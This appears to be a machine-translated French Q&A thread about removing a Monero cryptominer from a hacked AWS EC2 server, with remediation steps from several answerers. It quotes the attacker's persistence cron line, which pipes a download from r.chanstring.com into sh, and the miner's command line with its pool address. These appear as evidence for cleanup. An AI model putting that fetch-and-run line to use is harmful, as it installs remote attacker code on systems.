web-dev-qa-db-fra.com

Comment puis-je tuer un malware mineur sur une instance AWS EC2?

J'ai une instance AWS EC2 exécutant RHEL 7.2 qui semble avoir été piratée par un mineur de CPU BitCoin. Quand je lance ps -eo pcpu,args --sort=-%cpu | head, cela montre qu'il y a un mineur de CPU qui occupe plus de 90% de l'utilisation du CPU.

%CPU COMMAND
99.8 /opt/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:8080 -u 47TS1NQvebb3Feq91MqKdSGCUq18dTEdmfTTrRSGFFC2fK85NRdABwUasUA8EUaiuLiGa6wYtv5aoR8BmjYsDmTx9DQbfRX -p x

Il apparaît également lorsque j'exécute top -bn2 |sed -n '7,25'p -

  PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND
21863 root      20   0  237844   3300   1012 S 42.0  0.1   3:49.55 minerd

Je continue d'essayer de supprimer minerd de /opt/ mais il continue de tourner. Auparavant, j'avais KHK75NEOiq33 et un répertoire yam. J'ai pu les supprimer mais pas minerd.

Comment puis-je supprimer définitivement cela? J'ai également essayé de tuer le PID individuellement avec Sudo kill -9 et Sudo kill -2. Existe-t-il un antivirus que je peux utiliser pour m'en débarrasser?

[~ # ~] modifier [~ # ~] - La question a été marquée comme un double possible de ne autre question . Cependant, la différence est que je me renseigne sur un malware spécifique. J'ai trouvé la solution à la question, que je publierai ci-dessous.

6
Anish Sana

J'ai trouvé la solution pour supprimer minerd. J'ai eu la chance de trouver le script réel qui a été utilisé pour infecter mon serveur. Tout ce que j'avais à faire était de supprimer les éléments placés par ce script -

  1. Sur monkeyotosuggestion , j'ai bloqué toutes les communications avec le serveur du pool de minage - iptables -A INPUT -s xmr.crypto-pool.fr -j DROP et iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP.
  2. Suppression du cron */15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0706 | sh de /var/spool/cron/root et /var/spool/cron/crontabs/root.
  3. Suppression du répertoire /opt/yam.
  4. Supprimé /root/.ssh/KHK75NEOiq.
  5. Supprimé les fichiers /opt/minerd et /opt/KHK75NEOiq33.
  6. Arrêt du processus mineur - pkill minerd.
  7. Arrêté lady - service lady stop.

L'Iran ps -eo pcpu,args --sort=-%cpu | head, top -bn2 |sed -n '7,25'p et ps aux | grep minerd après cela et le logiciel malveillant était introuvable.

J'ai encore besoin de comprendre comment il a pu accéder au système, mais j'ai pu le désactiver de cette façon.

10
Anish Sana

Votre premier objectif est (si vous ne souhaitez pas réinstaller) est de déterminer comment il a réussi à y arriver en premier lieu. Si l'attaquant était rusé, il exécuterait "timestomp" pour modifier les dates des binaires. Vous minimiser SSH ne fait pas grand-chose si vous utilisez une version vulnérable de Wordpress, ou Joomla, ou quelque chose de différent. Par exemple, il y avait un exploit Nagios qui a été utilisé par quelqu'un pour exécuter minerd . Donc l'objectif ... "Déterminer ce qui fonctionne, pourquoi est-il en cours d'exécution et est-il vulnérable?"

Deuxièmement, vous souhaitez bloquer toutes les communications vers et depuis le serveur de pool de minage:

iptables -A INPUT -S xmr.crypto-pool.fr -j DROP

Alors, comment déterminez-vous ce qui a été modifié/changé/vulnérable? Vous devez comprendre votre système. Que fait-il, pourquoi le fait-il et qui a besoin d'y accéder. Je fouillerais mes crontabs pour voir quoi, si quelque chose commence. Vous pouvez exécuter: service --status-all pour voir quels services fonctionnent/démarrent, et examinez-les./opt/minerd semble être un fichier, une somme de contrôle de ce fichier et vous pouvez créer un script pour rechercher tout ce qui appelle ce fichier, ou tout fichier qui correspond, par exemple: find / | xargs grep -i minerd ou find / | xargs grep -i CHECKSUM_of_MINERD (Gardez à l'esprit que c'est une manière brutale de rechercher dans les fichiers).

Troisièmement, vérifiez vos journaux. Si vous exécutez un serveur Web, je commencerais par les journaux d'erreurs (error_logs) et rechercherais plusieurs 403 et 404 à partir d'une adresse suivie d'une connexion réussie dans access_log. Vérifiez le chemin qui a été accepté (par exemple 200: /var/www/nagios_or_something_vulnerable/config.php) et regardez à l'intérieur du répertoire. Il existe de nombreuses approches pour trouver ces informations, mais personne ici ne peut vous donner une réponse complète car nous ne pouvons déduire des informations qu'en fonction de la quantité limitée d'informations que vous publiez.

"J'ai un fichier nommé minerd commençant!" Creusez pour ce fichier. (find /|xargs grep -i minerd). "Il utilise cette chaîne bizarre!" (find / |xargs grep -i 47TS1NQvebb3Feq). "Il établit une connexion avec le port 8080!" (lsof -i | awk '/8080|http-alt/{print $1"\t"$2"\t"$8"\t"$9}'). "Il se connecte à cette adresse!" (lsof -i | grep xmr.crypto ... Là, vous avez maintenant une base de référence des choses que vous pouvez faire.

7
munkeyoto

Le problème est que le mineur est probablement la charge utile de certains (autres) logiciels malveillants, vous ne pouvez donc pas vraiment dire ce qui a été compromis sur le système. Il n'y a peut-être rien d'autre résidant sur le système, et vous êtes simplement réinfecté à chaque fois que vous tuez le mineur.

Alternativement, il existe un processus de gestion/dropper qui a ouvert une porte dérobée sur votre serveur.

Le pari le plus sûr est de recréer le serveur. Mais si vous souhaitez le scanner, vous pouvez obtenir gratuitement Sophos Anti-Virus depuis https://www.sophos.com/en-us/products/free-tools/sophos-antivirus-for-linux.aspx

5
Douglas Leeder